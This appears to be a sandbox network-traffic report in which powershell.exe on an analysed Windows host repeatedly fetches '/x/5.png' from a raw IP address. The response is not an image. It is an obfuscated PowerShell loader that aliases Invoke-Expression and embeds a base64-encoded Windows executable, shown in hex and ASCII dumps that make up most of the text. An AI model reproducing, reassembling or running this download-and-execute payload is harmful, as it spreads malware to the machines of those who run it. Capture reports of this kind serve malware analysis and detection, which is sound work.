                                                              Jul 4, 2024 11:16:14.535798073 CEST1236INData Raw: 05 eb c9 3c 45 8d cd 97 14 0d e0 0b 10 8b 40 62 5c 75 df 6c d8 8e 30 b3 ec ac df 97 3a 22 64 06 00 ff 75 17 b8 e9 a6 03 d3 90 44 67 84 02 d9 40 8e 3c ce b0 4f 61 f4 db 25 89 c7 f4 ff cf ca a8 fb 40 cc 72 44 32 fe 08 ea 6d 13 ba cb e3 17 0b 36 df
                                                              Data Ascii: <E@b\ul0:"duDg@<Oa%@rD2m6uGlnt6p"m)t$k#/|C(PI`A\bcKBt^m<uA5w(=9u,fK9tHQdm i%Q~0u/
                                                              Jul 4, 2024 11:16:14.535809040 CEST1236INData Raw: ee ba 35 43 30 4b 0b 79 b0 ce 21 fd 66 53 38 ad 89 2c 43 83 2d 64 70 92 21 26 82 28 1e 64 11 0c 30 4f 5c 88 38 b3 36 40 68 ec 39 c3 04 1c 92 53 8d 07 fd c3 67 90 c3 89 0d b1 14 99 e9 74 68 d2 dc c0 89 67 cf cc 09 25 01 04 ef 81 e2 d3 ca 20 b1 fa
                                                              Data Ascii: 5C0Ky!fS8,C-dp!&(d0O\86@h9Sgthg% CGuoA"#=XYt?wHdach^RP&_x%@! }wXm(2II=2d/ltwF]aQ;B uPl!t?hdDGe"(9CB!o=Do
                                                              Jul 4, 2024 11:16:14.535820961 CEST1236INData Raw: 50 f6 2c 00 c3 28 45 39 d9 74 26 43 0f 8b 34 1a 44 23 c6 77 ee cb 03 ef 96 fc 15 2a 76 e4 f8 89 bf 0c ba 6a 98 7a f8 ce 26 eb 69 1f 14 0b 87 6f d0 28 7c ca 47 14 21 9e 05 52 3a 0c 55 de f6 7f 07 eb 8b 02 48 03 e5 aa 97 2f a1 cf 51 50 ed 3d c1 10
                                                              Data Ascii: P,(E9t&C4D#w*vjz&io(|G!R:UH/QP=rL$r/G-Qw))X%YeSZX)$@M`LvIX$`{DXLhyBC#L18`g<[%Ai=^(o&(8"A_$tZo%-s1~
                                                              Jul 4, 2024 11:16:14.535850048 CEST1236INData Raw: 64 12 9c 34 a8 54 46 20 88 93 65 c3 29 50 8a 92 46 6d 50 94 2f 07 88 18 c4 01 61 ea 6c 0c d3 8c 46 bc 23 a5 11 8e 88 77 c4 60 62 49 2d cf c1 6d 0f 76 af c0 38 52 5b 22 ef 8d 21 a2 b7 23 fb 6c 32 17 ea 39 c3 4e 20 29 e5 15 c8 10 f2 11 60 04 0e 65
                                                              Data Ascii: d4TF e)PFmP/alF#w`bI-mv8R["!#l29N )`e-g*OU`p5')HvI1+`%~D8-fR])Z.<LT`x>eVM4*7Dq">|f%uI3Ng~SQbsnZI0tqL'Cg
                                                              Jul 4, 2024 11:16:14.535861969 CEST776INData Raw: 94 79 80 2c 33 f6 f0 05 e9 ba 16 01 12 b0 fb e8 96 31 88 d6 dd 28 41 25 78 0a ae 0d df 88 04 de 2b 5a 29 56 39 a6 9d 54 8a eb 46 ef 0b d0 4f 44 8a 70 49 6e 2c 05 d6 91 34 b5 4f 0c b4 cb 0f ed 48 0c 5d 02 88 d8 dc 84 22 8e 4e a1 58 9c 23 65 18 85
                                                              Data Ascii: y,31(A%x+Z)V9TFODpIn,4OH]"NX#eH:17wXCN!ee_~0qNn=dB;_F}#uSW`[A>OH".w8(9.g*JvG pClu.eF2;`y<8\L4
                                                              Jul 4, 2024 11:16:14.542366982 CEST1236INData Raw: 70 93 a4 5d 71 d4 4a 33 67 02 82 10 5e 4d 4e 90 04 fa e8 17 d8 cc 26 70 91 7d 14 28 6f cb 84 b2 df 28 23 5f 04 e8 01 d8 8b 72 19 78 4b 12 94 e5 f8 2b cc ca 10 96 7e 5a 22 82 38 41 55 98 36 f1 d7 a9 53 1d 56 41 f7 2f a5 d7 b9 94 7d 54 0a 91 bf eb
                                                              Data Ascii: p]qJ3g^MN&p}(o(#_rxK+~Z"8AU6SVA/}TVO;A[/$[f%Ax:Y6':\rqGqBpd`SUP$3KGR>V05TIaaxlH"/]KdU@"9# [#~;0O*f


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              6192.168.2.649725176.113.115.177805088C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              Jul 4, 2024 11:16:17.781503916 CEST72OUTGET /x/5.png HTTP/1.1
                                                              Host: 176.113.115.177
                                                              Connection: Keep-Alive
                                                              Jul 4, 2024 11:16:18.504975080 CEST1236INHTTP/1.1 200 OK
                                                              Content-Type: image/png
                                                              Last-Modified: Wed, 03 Jul 2024 07:28:33 GMT
                                                              Accept-Ranges: bytes
                                                              ETag: "c0bc319c1acdda1:0"
                                                              Server: Microsoft-IIS/8.5
                                                              Date: Thu, 04 Jul 2024 16:16:17 GMT
                                                              Content-Length: 107684
                                                              Data Raw: 69 70 63 6f 6e 66 69 67 20 2f 66 6c 75 73 68 64 6e 73 0d 0a 0d 0a 0d 0a 20 24 74 30 3d 27 53 53 44 49 45 58 27 2e 72 65 70 6c 61 63 65 28 27 53 53 44 27 2c 27 27 29 3b 73 61 6c 20 67 20 24 74 30 3b 0d 0a 0d 0a 24 4f 45 3d 22 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 46 64 6d 62 57 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 4c 69 41 4c 41 54 41 41 41 48 77 41 41 41 43 41 41 41 41 41 41 41 41 41 61 70 73 41 41 41 41 67 41 41 41 41 6f 41 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 41 42 41 41 41 41 41 41 41 41 [TRUNCATED]
                                                              Data Ascii: ipconfig /flushdns $t0='SSDIEX'.replace('SSD','');sal g $t0;$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAFdmbWYAAAAAAAAAAOAALiALATAAAHwAAACAAAAAAAAAapsAAAAgAAAAoAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABCbAABXAAAAAMAAAEQDAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAADYQQAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAcHsAAAAgAAAAfAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAoAAAAAIAAAB+AAAAAAAAAAAAAAAAAABAAABCLnJzcmMAAABEAwAAAMAAAAAEAAAAgAAAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAABMmwAAAAAAAEgAAAACAAUAREIAAMxYAAABAAAAAAAAAKhAAAAwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBAAuAQAAAAAAABcoOAAABiUmHxooOAAABiUmKAEAACuAAQAABBcoOAAABiUmHzcoOAAABiUmKAIAACuAAgAABBcoOAAABh9YKDgAAAYlJigDAAArJSaAAwAABBcoOAAABiUmIIMAAAAoOAAA
                                                              Jul 4, 2024 11:16:18.504985094 CEST224INData Raw: 42 69 55 6d 4b 41 51 41 41 43 75 41 42 41 41 41 42 42 63 6f 4f 41 41 41 42 69 55 6d 49 4b 51 41 41 41 41 6f 4f 41 41 41 42 69 55 6d 4b 41 55 41 41 43 73 6c 4a 6f 41 46 41 41 41 45 46 79 67 34 41 41 41 47 4a 53 59 67 7a 77 41 41 41 43 67 34 41 41
                                                              Data Ascii: BiUmKAQAACuABAAABBcoOAAABiUmIKQAAAAoOAAABiUmKAUAACslJoAFAAAEFyg4AAAGJSYgzwAAACg4AAAGJSYoBgAAKyUmgAYAAAQXKDgAAAYlJiDoAAAAKDgAAAYlJigHAAArgAcAAAQXKDgAAAYlJiAFAQAAKDgAAAYlJigIAAArJSaACAAABBcoOAAABiUmICoBAAAoOAAABiUmKAkAACuACQAA
                                                              Jul 4, 2024 11:16:18.505002975 CEST1236INData Raw: 42 43 42 4e 41 51 41 41 4b 44 67 41 41 41 59 6c 4a 69 42 67 41 51 41 41 4b 44 67 41 41 41 59 6c 4a 69 67 4b 41 41 41 72 67 41 6f 41 41 41 51 71 41 41 41 62 4d 41 77 41 65 77 55 41 41 41 45 41 41 42 45 41 46 69 67 78 41 41 41 47 43 6a 68 58 42 51
                                                              Data Ascii: BCBNAQAAKDgAAAYlJiBgAQAAKDgAAAYlJigKAAArgAoAAAQqAAAbMAwAewUAAAEAABEAFigxAAAGCjhXBQAAABooMQAABgsSBP4VEAAAAhIE0BAAAAIosgAABiUmKO4AAAYlJihzAAAGfRIAAAQRBAwSA/4VDgAAAgB+AQAABAJyWwAAcH46AAAKfjoAAAoeKDEAAAYfDCgxAAAGfjoAAAoUEgISAyjmAAAGJSYfECgxAAAG/gE
                                                              Jul 4, 2024 11:16:18.505059004 CEST1236INData Raw: 65 77 73 41 41 41 51 52 44 42 45 58 57 42 45 62 45 52 73 6f 32 67 41 41 42 69 55 6d 61 52 49 42 4b 42 49 42 41 41 59 6c 4a 69 43 45 41 41 41 41 4b 44 45 41 41 41 62 2b 41 52 4d 63 45 52 77 73 45 42 31 46 41 51 41 41 41 50 62 2f 2f 2f 38 6f 67 67
                                                              Data Ascii: ewsAAAQRDBEXWBEbERso2gAABiUmaRIBKBIBAAYlJiCEAAAAKDEAAAb+ARMcERwsEB1FAQAAAPb///8oggAABnoAERYgiAAAACgxAAAGWBMWABEVIIwAAAAoMQAABlgTFREVAxEFIJAAAAAoMQAABlgo3gAABiUm/gQTHREdOvH+//8ZRQEAAAD2////fggAAAQJewsAAAQRCCCUAAAAKDEAAAZYEQwohgAABiUmIJgAAAAoMQA
                                                              Jul 4, 2024 11:16:18.505070925 CEST1236INData Raw: 41 41 41 41 39 76 2f 2f 2f 78 63 74 42 74 41 31 41 41 41 47 4a 6e 34 50 41 41 41 45 41 35 45 67 66 2f 2f 2f 2f 31 38 65 59 67 6f 47 66 67 38 41 41 41 51 44 46 31 69 52 59 41 6f 44 47 46 6a 2b 43 77 45 41 4b 30 46 2b 44 77 41 41 42 41 4f 52 49 44
                                                              Data Ascii: AAAA9v///xctBtA1AAAGJn4PAAAEA5Egf////18eYgoGfg8AAAQDF1iRYAoDGFj+CwEAK0F+DwAABAORID////9fHxhiCgZ+DwAABAMXWJEfEGJgCgZ+DwAABAMYWJEeYmAKBn4PAAAEAxlYkWAKAxpY/gsBAAYXLwEqfg8AAAQDAhYGKCQAAAoqAAATMAUARQAAAAMAABF+GwAABC09cm8AAHAKBig8AAAKCyg9AAAKJSYHFge
                                                              Jul 4, 2024 11:16:18.505083084 CEST672INData Raw: 41 41 49 41 44 41 41 4d 47 41 41 48 41 41 41 41 41 42 73 77 41 77 41 61 41 41 41 41 43 51 41 41 45 51 4d 6f 50 51 41 41 42 67 72 65 44 79 59 66 59 57 6f 44 4b 44 38 41 41 41 59 6c 4a 67 72 65 41 41 59 71 41 41 41 42 45 41 41 41 41 41 41 41 41 41
                                                              Data Ascii: AAIADAAMGAAHAAAAABswAwAaAAAACQAAEQMoPQAABgreDyYfYWoDKD8AAAYlJgreAAYqAAABEAAAAAAAAAkJAA8cAAABEzAHADMDAAAKAAARAyjJAAAGJSYKBgt+bAAABAwXDSsNBiiWAAAGJSYmCRdYDQkaMu8dRQEAAAD2////Fy0G0D8AAAYmBiiWAAAGJSbREwQRBGbREwQRBBhfOdUBAAAoXgAABiUmEwUeKBsBAAYlJhM
                                                              Jul 4, 2024 11:16:18.625288010 CEST1236INData Raw: 45 51 38 6f 59 77 41 41 42 68 45 4f 45 51 74 59 45 77 34 52 44 68 45 4c 57 47 6f 47 4b 4d 30 41 41 41 59 79 76 78 78 46 41 51 41 41 41 50 62 2f 2f 2f 38 47 45 51 30 57 42 69 6a 4e 41 41 41 47 45 51 35 71 57 57 6b 6f 64 77 41 41 42 69 55 6d 4a 68
                                                              Data Ascii: EQ8oYwAABhEOEQtYEw4RDhELWGoGKM0AAAYyvxxFAQAAAPb///8GEQ0WBijNAAAGEQ5qWWkodwAABiUmJhEKEQ0WBijNAAAGJSYRDmpZaSj2AAAGJSYTEH4gAAAEERAWERAo2gAABmkoYwAABn4gAAAECwcWaiggAQAGfiAAAAQMEQQeXzm4AAAAGkUBAAAA9v///34hAAAELTx+HwAABCAAAACAMyEaRQEAAAD2////fiEAAAQ
                                                              Jul 4, 2024 11:16:18.625302076 CEST1236INData Raw: 41 41 41 4b 45 51 59 5a 4d 51 77 52 43 6e 35 63 41 41 41 4b 62 31 6b 41 41 41 6f 52 42 68 6f 78 4d 78 6c 46 41 51 41 41 41 50 62 2f 2f 2f 38 61 45 77 73 72 46 42 45 4b 66 6c 30 41 41 41 6f 52 43 32 39 65 41 41 41 4b 45 51 73 58 57 42 4d 4c 45 51
                                                              Data Ascii: AAAKEQYZMQwRCn5cAAAKb1kAAAoRBhoxMxlFAQAAAPb///8aEwsrFBEKfl0AAAoRC29eAAAKEQsXWBMLEQsRBjLmF0UBAAAA9v///xEKCW9fAAAKJSYtERhFAQAAAPb///9+YAAACisFfmEAAAoHb2IAAAoRCn5jAAAKb1kAAAoRCQZvZAAACiUmEwQJFBEEb2UAAAreAybeABERF1gTERERERAoJQEABiUmaT9F/v//KkE0AAA
                                                              Jul 4, 2024 11:16:18.625314951 CEST1236INData Raw: 2f 78 63 74 42 74 42 48 41 41 41 47 4a 69 67 52 41 41 41 4b 4a 53 5a 76 52 67 41 41 43 69 55 6d 46 70 70 76 52 77 41 41 43 6f 42 6e 41 41 41 45 4b 67 41 41 41 7a 41 4a 41 41 63 41 41 41 41 41 41 41 41 41 41 69 67 6c 41 41 41 4b 4b 67 41 62 4d 41
                                                              Data Ascii: /xctBtBHAAAGJigRAAAKJSZvRgAACiUmFppvRwAACoBnAAAEKgAAAzAJAAcAAAAAAAAAAiglAAAKKgAbMAcA+QEAAAwAABF+ZwAABBMMEgwCKEgAAAolJigVAAAKJSYKBCD///8AMywYRQEAAAD2////Fy0G0EkAAAYmfmcAAAQTDRINAyhJAAAKJSYoSgAACgwrKH5nAAAEEw4SDgMoSQAACn5nAAAEEw8SDwQoSAAACiUmKEs
                                                              Jul 4, 2024 11:16:18.625499964 CEST1236INData Raw: 41 41 41 4b 49 50 2f 2f 2f 77 41 6f 51 77 41 41 42 69 6f 41 41 44 4a 2b 63 41 41 41 42 41 49 6f 61 67 41 41 42 69 6f 41 41 41 42 57 49 43 41 41 41 41 49 67 43 41 41 41 43 69 44 2f 2f 2f 38 41 4b 45 4d 41 41 41 59 71 41 41 41 36 66 6e 45 41 41 41
                                                              Data Ascii: AAAKIP///wAoQwAABioAADJ+cAAABAIoagAABioAAABWICAAAAIgCAAACiD///8AKEMAAAYqAAA6fnEAAAQCAwQobgAABioAViAhAAACIAkAAAog////AChDAAAGKgAAMn5yAAAEAihyAAAGKgAAAFYgIgAAAiAKAAAKIP///wAoQwAABioAAD5+cwAABAIDBAUodgAABipWICMAAAIgEAAABiD///8AKEMAAAYqAAA6fnQAAAQ
                                                              Jul 4, 2024 11:16:18.625744104 CEST1236INData Raw: 41 41 59 71 41 41 42 4f 66 6f 59 41 41 41 51 43 41 77 51 46 44 67 51 4f 42 53 6a 48 41 41 41 47 4b 68 34 43 64 52 6b 41 41 41 45 71 56 69 41 38 41 41 41 43 49 42 6f 41 41 41 6f 67 2f 2f 2f 2f 41 43 68 44 41 41 41 47 4b 67 41 41 4d 6e 36 48 41 41
                                                              Data Ascii: AAYqAABOfoYAAAQCAwQFDgQOBSjHAAAGKh4CdRkAAAEqViA8AAACIBoAAAog////AChDAAAGKgAAMn6HAAAEAijMAAAGKgAAAFYgPQAAAiAbAAAKIP///wAoQwAABioAADZ+iAAABAIDKNAAAAYqAABWID4AAAIgHAAACiD///8AKEYAAAYqAAAyfokAAAQCKNQAAAYqAAAAViA/AAACIB0AAAog////AChDAAAGKgAALn6KAAA


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              7192.168.2.649742176.113.115.177807176C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              Jul 4, 2024 11:16:25.026287079 CEST72OUTGET /x/5.png HTTP/1.1
                                                              Host: 176.113.115.177
                                                              Connection: Keep-Alive
                                                              Jul 4, 2024 11:16:25.751821041 CEST1236INHTTP/1.1 200 OK
                                                              Content-Type: image/png
                                                              Last-Modified: Wed, 03 Jul 2024 07:28:33 GMT
                                                              Accept-Ranges: bytes
                                                              ETag: "c0bc319c1acdda1:0"
                                                              Server: Microsoft-IIS/8.5
                                                              Date: Thu, 04 Jul 2024 16:16:25 GMT
                                                              Content-Length: 107684
                                                              Data Raw: 69 70 63 6f 6e 66 69 67 20 2f 66 6c 75 73 68 64 6e 73 0d 0a 0d 0a 0d 0a 20 24 74 30 3d 27 53 53 44 49 45 58 27 2e 72 65 70 6c 61 63 65 28 27 53 53 44 27 2c 27 27 29 3b 73 61 6c 20 67 20 24 74 30 3b 0d 0a 0d 0a 24 4f 45 3d 22 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 46 64 6d 62 57 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 4c 69 41 4c 41 54 41 41 41 48 77 41 41 41 43 41 41 41 41 41 41 41 41 41 61 70 73 41 41 41 41 67 41 41 41 41 6f 41 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 41 42 41 41 41 41 41 41 41 41 [TRUNCATED]
                                                              Data Ascii: ipconfig /flushdns $t0='SSDIEX'.replace('SSD','');sal g $t0;$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAFdmbWYAAAAAAAAAAOAALiALATAAAHwAAACAAAAAAAAAapsAAAAgAAAAoAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABCbAABXAAAAAMAAAEQDAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAADYQQAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAcHsAAAAgAAAAfAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAoAAAAAIAAAB+AAAAAAAAAAAAAAAAAABAAABCLnJzcmMAAABEAwAAAMAAAAAEAAAAgAAAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAABMmwAAAAAAAEgAAAACAAUAREIAAMxYAAABAAAAAAAAAKhAAAAwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBAAuAQAAAAAAABcoOAAABiUmHxooOAAABiUmKAEAACuAAQAABBcoOAAABiUmHzcoOAAABiUmKAIAACuAAgAABBcoOAAABh9YKDgAAAYlJigDAAArJSaAAwAABBcoOAAABiUmIIMAAAAoOAAA
                                                              Jul 4, 2024 11:16:25.751852989 CEST1236INData Raw: 42 69 55 6d 4b 41 51 41 41 43 75 41 42 41 41 41 42 42 63 6f 4f 41 41 41 42 69 55 6d 49 4b 51 41 41 41 41 6f 4f 41 41 41 42 69 55 6d 4b 41 55 41 41 43 73 6c 4a 6f 41 46 41 41 41 45 46 79 67 34 41 41 41 47 4a 53 59 67 7a 77 41 41 41 43 67 34 41 41
                                                              Data Ascii: BiUmKAQAACuABAAABBcoOAAABiUmIKQAAAAoOAAABiUmKAUAACslJoAFAAAEFyg4AAAGJSYgzwAAACg4AAAGJSYoBgAAKyUmgAYAAAQXKDgAAAYlJiDoAAAAKDgAAAYlJigHAAArgAcAAAQXKDgAAAYlJiAFAQAAKDgAAAYlJigIAAArJSaACAAABBcoOAAABiUmICoBAAAoOAAABiUmKAkAACuACQAABCBNAQAAKDgAAAYlJiB
                                                              Jul 4, 2024 11:16:25.751869917 CEST1236INData Raw: 42 6e 6f 66 61 43 67 78 41 41 41 47 45 78 55 52 42 52 39 73 4b 44 45 41 41 41 5a 59 45 78 59 34 37 51 41 41 41 41 41 44 45 52 59 66 63 43 67 78 41 41 41 47 57 43 6a 44 41 41 41 47 4a 53 59 54 46 77 4d 52 46 68 39 30 4b 44 45 41 41 41 5a 59 4b 4d
                                                              Data Ascii: BnofaCgxAAAGExURBR9sKDEAAAZYExY47QAAAAADERYfcCgxAAAGWCjDAAAGJSYTFwMRFh90KDEAAAZYKMMAAAYlJhMYAxEWH3goMQAABlgowwAABiUmExkRGB98KDEAAAb+AxMaERo5fQAAABtFAQAAAPb///8AERgoGwEABiUmExsDERkRGyCAAAAAKDEAAAYRGyjaAAAGJSZpKAYBAAYAfggAAAQJewsAAAQRDBEXWBEbERs
                                                              Jul 4, 2024 11:16:25.751967907 CEST1236INData Raw: 44 67 41 41 41 41 41 41 41 41 42 2b 44 77 41 41 42 41 49 6f 47 41 41 41 43 69 55 6d 4b 67 41 41 41 7a 41 4a 41 41 34 41 41 41 41 41 41 41 41 41 66 67 38 41 41 41 51 43 4b 45 41 41 41 41 6f 6c 4a 69 6f 41 41 41 4d 77 43 51 41 4f 41 41 41 41 41 41
                                                              Data Ascii: DgAAAAAAAAB+DwAABAIoGAAACiUmKgAAAzAJAA4AAAAAAAAAfg8AAAQCKEAAAAolJioAAAMwCQAOAAAAAAAAAH4PAAAEAihBAAAKJSYqAAADMAkADAAAAAAAAAB+DwAABAIoQgAACioTMAYAvgAAAAQAABEWCn4PAAAEA5EggAAAAF8tFH4PAAAEA5EKAxdY/gsBADiFAAAAfg8AAAQDkR9AXy04GEUBAAAA9v///xctBtA1AAA
                                                              Jul 4, 2024 11:16:25.751985073 CEST896INData Raw: 44 31 67 4c 42 67 63 6f 30 51 41 41 42 69 55 6d 48 32 34 75 46 78 6c 46 41 51 41 41 41 50 62 2f 2f 2f 38 47 42 79 6a 52 41 41 41 47 4a 53 59 66 54 6a 4d 4a 66 70 34 41 41 41 51 54 42 64 34 79 42 67 63 66 45 43 68 76 41 41 41 47 44 41 67 67 41 77
                                                              Data Ascii: D1gLBgco0QAABiUmH24uFxlFAQAAAPb///8GByjRAAAGJSYfTjMJfp4AAAQTBd4yBgcfEChvAAAGDAggAwIAACgpAQAGDQkokgAABiUmEwQRBCi2AAAGEQQTBd4FJt4AFCoRBSoBEAAAAAAAALCwAAMcAAABGzADACEAAAAIAAARfh0AAAQlCyhnAAAGH2FqAig/AAAGCt4HByjyAAAG3AYqAAAAARAAAAIADAAMGAAHAAAAABs
                                                              Jul 4, 2024 11:16:25.872219086 CEST1236INData Raw: 45 51 38 6f 59 77 41 41 42 68 45 4f 45 51 74 59 45 77 34 52 44 68 45 4c 57 47 6f 47 4b 4d 30 41 41 41 59 79 76 78 78 46 41 51 41 41 41 50 62 2f 2f 2f 38 47 45 51 30 57 42 69 6a 4e 41 41 41 47 45 51 35 71 57 57 6b 6f 64 77 41 41 42 69 55 6d 4a 68
                                                              Data Ascii: EQ8oYwAABhEOEQtYEw4RDhELWGoGKM0AAAYyvxxFAQAAAPb///8GEQ0WBijNAAAGEQ5qWWkodwAABiUmJhEKEQ0WBijNAAAGJSYRDmpZaSj2AAAGJSYTEH4gAAAEERAWERAo2gAABmkoYwAABn4gAAAECwcWaiggAQAGfiAAAAQMEQQeXzm4AAAAGkUBAAAA9v///34hAAAELTx+HwAABCAAAACAMyEaRQEAAAD2////fiEAAAQ
                                                              Jul 4, 2024 11:16:25.872245073 CEST1236INData Raw: 41 41 41 4b 45 51 59 5a 4d 51 77 52 43 6e 35 63 41 41 41 4b 62 31 6b 41 41 41 6f 52 42 68 6f 78 4d 78 6c 46 41 51 41 41 41 50 62 2f 2f 2f 38 61 45 77 73 72 46 42 45 4b 66 6c 30 41 41 41 6f 52 43 32 39 65 41 41 41 4b 45 51 73 58 57 42 4d 4c 45 51
                                                              Data Ascii: AAAKEQYZMQwRCn5cAAAKb1kAAAoRBhoxMxlFAQAAAPb///8aEwsrFBEKfl0AAAoRC29eAAAKEQsXWBMLEQsRBjLmF0UBAAAA9v///xEKCW9fAAAKJSYtERhFAQAAAPb///9+YAAACisFfmEAAAoHb2IAAAoRCn5jAAAKb1kAAAoRCQZvZAAACiUmEwQJFBEEb2UAAAreAybeABERF1gTERERERAoJQEABiUmaT9F/v//KkE0AAA
                                                              Jul 4, 2024 11:16:25.872260094 CEST1236INData Raw: 2f 78 63 74 42 74 42 48 41 41 41 47 4a 69 67 52 41 41 41 4b 4a 53 5a 76 52 67 41 41 43 69 55 6d 46 70 70 76 52 77 41 41 43 6f 42 6e 41 41 41 45 4b 67 41 41 41 7a 41 4a 41 41 63 41 41 41 41 41 41 41 41 41 41 69 67 6c 41 41 41 4b 4b 67 41 62 4d 41
                                                              Data Ascii: /xctBtBHAAAGJigRAAAKJSZvRgAACiUmFppvRwAACoBnAAAEKgAAAzAJAAcAAAAAAAAAAiglAAAKKgAbMAcA+QEAAAwAABF+ZwAABBMMEgwCKEgAAAolJigVAAAKJSYKBCD///8AMywYRQEAAAD2////Fy0G0EkAAAYmfmcAAAQTDRINAyhJAAAKJSYoSgAACgwrKH5nAAAEEw4SDgMoSQAACn5nAAAEEw8SDwQoSAAACiUmKEs
                                                              Jul 4, 2024 11:16:25.872276068 CEST1236INData Raw: 41 41 41 4b 49 50 2f 2f 2f 77 41 6f 51 77 41 41 42 69 6f 41 41 44 4a 2b 63 41 41 41 42 41 49 6f 61 67 41 41 42 69 6f 41 41 41 42 57 49 43 41 41 41 41 49 67 43 41 41 41 43 69 44 2f 2f 2f 38 41 4b 45 4d 41 41 41 59 71 41 41 41 36 66 6e 45 41 41 41
                                                              Data Ascii: AAAKIP///wAoQwAABioAADJ+cAAABAIoagAABioAAABWICAAAAIgCAAACiD///8AKEMAAAYqAAA6fnEAAAQCAwQobgAABioAViAhAAACIAkAAAog////AChDAAAGKgAAMn5yAAAEAihyAAAGKgAAAFYgIgAAAiAKAAAKIP///wAoQwAABioAAD5+cwAABAIDBAUodgAABipWICMAAAIgEAAABiD///8AKEMAAAYqAAA6fnQAAAQ
                                                              Jul 4, 2024 11:16:25.872292042 CEST896INData Raw: 41 41 59 71 41 41 42 4f 66 6f 59 41 41 41 51 43 41 77 51 46 44 67 51 4f 42 53 6a 48 41 41 41 47 4b 68 34 43 64 52 6b 41 41 41 45 71 56 69 41 38 41 41 41 43 49 42 6f 41 41 41 6f 67 2f 2f 2f 2f 41 43 68 44 41 41 41 47 4b 67 41 41 4d 6e 36 48 41 41
                                                              Data Ascii: AAYqAABOfoYAAAQCAwQFDgQOBSjHAAAGKh4CdRkAAAEqViA8AAACIBoAAAog////AChDAAAGKgAAMn6HAAAEAijMAAAGKgAAAFYgPQAAAiAbAAAKIP///wAoQwAABioAADZ+iAAABAIDKNAAAAYqAABWID4AAAIgHAAACiD///8AKEYAAAYqAAAyfokAAAQCKNQAAAYqAAAAViA/AAACIB0AAAog////AChDAAAGKgAALn6KAAA
                                                              Jul 4, 2024 11:16:25.872589111 CEST1236INData Raw: 4a 51 41 41 43 69 44 2f 2f 2f 38 41 4b 45 59 41 41 41 59 71 41 41 41 75 66 70 59 41 41 41 51 6f 43 51 45 41 42 69 70 57 49 45 30 41 41 41 49 67 4a 67 41 41 43 69 44 2f 2f 2f 38 41 4b 45 4d 41 41 41 59 71 41 41 41 32 66 70 63 41 41 41 51 43 41 79
